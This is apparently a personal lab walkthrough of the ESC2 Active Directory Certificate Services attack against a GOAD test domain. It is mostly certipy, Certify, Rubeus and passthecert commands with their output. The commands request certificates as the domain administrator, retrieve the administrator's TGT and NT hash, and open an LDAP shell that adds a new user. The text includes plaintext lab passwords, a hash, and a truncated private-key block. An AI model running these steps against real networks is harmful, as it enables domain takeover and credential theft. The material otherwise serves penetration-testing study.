

ESC 2

ESC 2

ESC2 is when a certificate template can be used for any purpose. Since the certificate can be used for any purpose

Requirements:

- Client Authentication set to True (PKINIT EKU) or pkiextendedkeyusage -> Client Authentication
- The ability to enroll (Enrollment Permissions>Enrollment Rights)(any valid domain account such as Domain Users)
- Any Purpose set to True
- Extended Key Usage set to Any Purpose

Enumeration

- Using certipy

certipy find -u sql_svc@essos.local -p YouWillNotKerborast1ngMeeeeeee -dc-ip 192.168.56.12 -vulnerable -stdout

certipy find -u sql_svc@essos.local -p YouWillNotKerborast1ngMeeeeeee -dc-ip 192.168.56.12 -bloodhound

```
1
Template Name : ESC2
Display Name : ESC2
Certificate Authorities : ESSOS-CA
Enabled : True
Client Authentication : True
Enrollment Agent : True
Any Purpose : True
Enrollee Supplies Subject : False
Certificate Name Flag : SubjectAltRequireUpn
Enrollment Flag : AutoEnrollment
Private Key Flag : 16842752
Extended Key Usage : Any Purpose
Requires Manager Approval : False
Requires Key Archival : False
Authorized Signatures Required : 0
Validity Period : 1 year
Renewal Period : 6 weeks
Minimum RSA Key Length : 2048
Permissions
  Enrollment Permissions
    Enrollment Rights : ESSOS.LOCAL\Domain Users
Object Control Permissions
  Owner : ESSOS.LOCAL\Enterprise Admins
  Full Control Principals : ESSOS.LOCAL\Domain Admins
    ESSOS.LOCAL\Local System
    ESSOS.LOCAL\Enterprise Admins
  Write Owner Principals : ESSOS.LOCAL\Domain Admins
    ESSOS.LOCAL\Local System
    ESSOS.LOCAL\Enterprise Admins
  Write Dacl Principals : ESSOS.LOCAL\Domain Admins
    ESSOS.LOCAL\Local System
    ESSOS.LOCAL\Enterprise Admins
  Write Property Principals : ESSOS.LOCAL\Domain Admins
    ESSOS.LOCAL\Local System
    ESSOS.LOCAL\Enterprise Admins
[!] Vulnerabilities
ESC2 : 'ESSOS.LOCAL\Domain Users' can enroll and template can be used for any purpose
ESC3 : 'ESSOS.LOCAL\Domain Users' can enroll and template has Certificate Request Agent EKU set
```

- Using Certify

Certify.exe find /vulnerable

```

CA Name : braavos.essos.local\ESSOS-CA
Template Name : ESC2
Schema Version : 2
Validity Period : 1 year
Renewal Period : 6 weeks
msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_UPN
msPKI-enrollment-flag : AUTO_ENROLLMENT
Authorized Signatures Required : 0
pkiextendedkeyusage : Any Purpose
msPKI-certificate-application-policy : Any Purpose
Permissions
  Enrollment Permissions
    Enrollment Rights : ESSOS\Domain Users S-1-5-21-193681889-2954223567-4026340859-513
    All Extended Rights : ESSOS\Domain Admins S-1-5-21-193681889-2954223567-4026340859-512
                        ESSOS\Domain Admins S-1-5-21-193681889-2954223567-4026340859-512
                        ESSOS\Enterprise Admins S-1-5-21-193681889-2954223567-4026340859-519
                        NT AUTHORITY\SYSTEM S-1-5-18
  Object Control Permissions
    Owner : ESSOS\Enterprise Admins S-1-5-21-193681889-2954223567-4026340859-519
    Full Control Principals : ESSOS\Domain Admins S-1-5-21-193681889-2954223567-4026340859-512
                        ESSOS\Enterprise Admins S-1-5-21-193681889-2954223567-4026340859-519
                        NT AUTHORITY\SYSTEM S-1-5-18
    WriteOwner Principals : ESSOS\Domain Admins S-1-5-21-193681889-2954223567-4026340859-512
                        ESSOS\Domain Admins S-1-5-21-193681889-2954223567-4026340859-512
                        ESSOS\Enterprise Admins S-1-5-21-193681889-2954223567-4026340859-519
                        NT AUTHORITY\SYSTEM S-1-5-18
    WriteDacl Principals : ESSOS\Domain Admins S-1-5-21-193681889-2954223567-4026340859-512
                        ESSOS\Domain Admins S-1-5-21-193681889-2954223567-4026340859-512
                        ESSOS\Enterprise Admins S-1-5-21-193681889-2954223567-4026340859-519
                        NT AUTHORITY\SYSTEM S-1-5-18
    WriteProperty Principals : ESSOS\Domain Admins S-1-5-21-193681889-2954223567-4026340859-512
                        ESSOS\Domain Admins S-1-5-21-193681889-2954223567-4026340859-512
                        ESSOS\Enterprise Admins S-1-5-21-193681889-2954223567-4026340859-519
                        NT AUTHORITY\SYSTEM S-1-5-18

```

Exploit

request a certificate authenticated as our current user while specifying:

- the target CA: the ca server
- Template: the vulnerable template

• Using Certipy

certipy req -u sql_svc@essos.local -p 'YouWillNotKerborast1ngMeeeee' -target braavos.essos.local <certificate server> -template ESC2 -ca ESSOS-CA -upn administrator@essos.local

```

(kali@kali)-[~/Desktop/goad]
$ certipy req -u sql_svc@essos.local -p 'YouWillNotKerborast1ngMeeeee' -target braavos.essos.local -template ESC2 -ca ESSOS-CA -upn administrator@essos.local
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 17
[*] Got certificate with UPN 'administrator@essos.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'

```

or use

certipy req -u sql_svc@essos.local -p 'YouWillNotKerborast1ngMeeeee' -target braavos.essos.local <certificate server> -template ESC2 -ca ESSOS-CA

```

(kali@kali)-[~/Desktop/goad]
$ certipy req -u sql_svc@essos.local -p 'YouWillNotKerborast1ngMeeeee' -target braavos.essos.local -template ESC2 -ca ESSOS-CA
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 19
[*] Got certificate with UPN 'sql_svc@essos.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'sql_svc.pfx'

```

or use

you have to add any other template name

cuz Extended Key Usage (EKU) is set to any we can be used This EKU to request certificates on behalf of other users.

certipy req -u sql_svc@essos.local -p 'YouWillNotKerborast1ngMeeeee' -target braavos.essos.local <certificate server> -template User -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx sql_svc.pfx

```
(kali㉿kali)-[~/Desktop/goad]
$ certipy req -u sql_svc@essos.local -p 'YouWillNotKerborastingMeeeee' -target braavos.essos.local -template User -ca ESSOS-CA -on-behalf-of 'essos\administrator' -pfx sql_svc.pfx
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 25
[*] Got certificate with UPN 'administrator@essos.local'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'administrator.pfx'
```

- Get administrator hash and .ccache file

certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12

```
(kali㉿kali)-[~/Desktop/goad]
$ certipy auth -pfx administrator.pfx -dc-ip 192.168.56.12
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@essos.local
[*] Trying to get TGT ...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@essos.local': aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da
```

- Using **Certify**

Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:ESC2 /altname:administrator

```
PS C:\Users\vagrant\Desktop> .\Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:ESC2 /altname:administrator
```

```

Certify

v1.0.0

[*] Action: Request a Certificates

[*] Current user context      : ESSOS\vagrant
[*] No subject name specified, using current context as subject.

[*] Template                  : ESC2
[*] Subject                   : CN=vagrant, CN=Users, DC=essos, DC=local
[*] AltName                   : administrator

[*] Certificate Authority     : braavos.essos.local\ESSOS-CA

[*] CA Response               : The certificate had been issued.
[*] Request ID                : 28

[*] cert.pem                  :

-----BEGIN RSA PRIVATE KEY-----
MIIeowIBAAKCAQEAvQZowAEV94tJsUJmWyi0j5AZm5zmWKYdECzBPZ+vbqr+IEna
iilrptMYSGLGITTaIEtXNxYaias66evhq6e7kqing4EKNtCA4W4SPE9ezqJxpAIf
iYcUPneDDbRstFmYv2wFHHU9kPaTmkvsmFYQz=0NwFsc3KopplF3eT9c4iYCGe6FA0H

```

then save the certificate in file.pem an convert to file.pfx

```

x4jBpdH9gp/EVw==
-----END CERTIFICATE-----

[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

Certify completed in 00:00:04.9285835
```

```
(kali㉿kali)-[~/Desktop/goad]
$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password:
Verifying - Enter Export Password:
```

pass the certificate

Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:SecretPass@123 /ptt

or

Certipy's commands don't support PFXs with password

certipy cert -export -pfx cert.pfx -password "Abdoo@@##1111" -out "unprotectedcert-Admin.pfx"

certipy auth -pfx unprotectedcert-Admin.pfx -dc-ip 192.168.56.12 -username Administrator -domain essos.local

```
(kali@kali)-[~/Desktop/goad]
$ nano cert.pem

(kali@kali)-[~/Desktop/goad]
$ openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password:
Verifying - Enter Export Password:

(kali@kali)-[~/Desktop/goad]
$ certipy cert -export -pfx cert.pfx -password "Abdoo@@##1111" -out "unprotectedcert-Admin.pfx"
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing PFX to 'unprotectedcert-Admin.pfx'

(kali@kali)-[~/Desktop/goad]
$ certipy auth -pfx unprotectedcert-Admin.pfx -dc-ip 192.168.56.12 -username Administrator -domain essos.local
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Using principal: administrator@essos.local
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@essos.local': aad3b435b51404eeaad3b435b51404ee:54296a48cd30259cc88095373cec24da
```

or

using passthecert

certipy cert -pfx unprotectedcert-Admin.pfx -nokey -out admin.crt

certipy cert -pfx unprotectedcert-Admin.pfx -nocert -out admin.key

passthecert.py -action ldap-shell -crt admin.crt -key admin.key -domain essos.local -dc-ip 192.168.56.12

```
(kali@kali)-[~/Desktop/goad]
$ certipy cert -pfx unprotectedcert-Admin.pfx -nokey -out admin.crt
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing certificate and to 'admin.crt'

(kali@kali)-[~/Desktop/goad]
$ certipy cert -pfx unprotectedcert-Admin.pfx -nocert -out admin.key
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Writing private key to 'admin.key'

(kali@kali)-[~/Desktop/goad]
$ ~/kalimon/PassTheCert/Python/passthecert.py -action ldap-shell -crt admin.crt -key admin.key -domain essos.local -dc-ip 192.168.56.12
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

Type help for list of commands

# add_user CertESC2
Attempting to create user in: %s CN=Users,DC=essos,DC=local
Adding new user with username: CertESC2 and password: I31@6u:L(~($Y2' result: OK

#
```

Resources

passthecert: <https://github.com/AlmondOffSec/PassTheCert/tree/main/Python>

<https://www.thehacker.recipes/ad/movement/kerberos/pass-the-certificate>

Certipy: <https://github.com/ly4k/Certipy/blob/main/README.md#esc2>

<https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-certificate-services#bkmrk-esc2-%26-3-0>

Certify: <https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-certificate-services#bkmrk-esc2-%26-3>

others

<https://hideandsec.sh/books/cheatsheets-82c/page/active-directory-certificate-services>

<https://www.thehacker.recipes/ad/movement/ad-cs>

https://www.linkedin.com/posts/abdelmawla-elamrosy_adcs-activity-7132109264986288129-6_5Q?utm_source=share

<https://www.youtube.com/watch?v=-vMMZfLj2n8>

https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf

<https://exploit-notes.hdks.org/exploit/windows/active-directory/ad-cs-pentesting/>

<https://3alam.pro/redvirus/articles/adcsesc>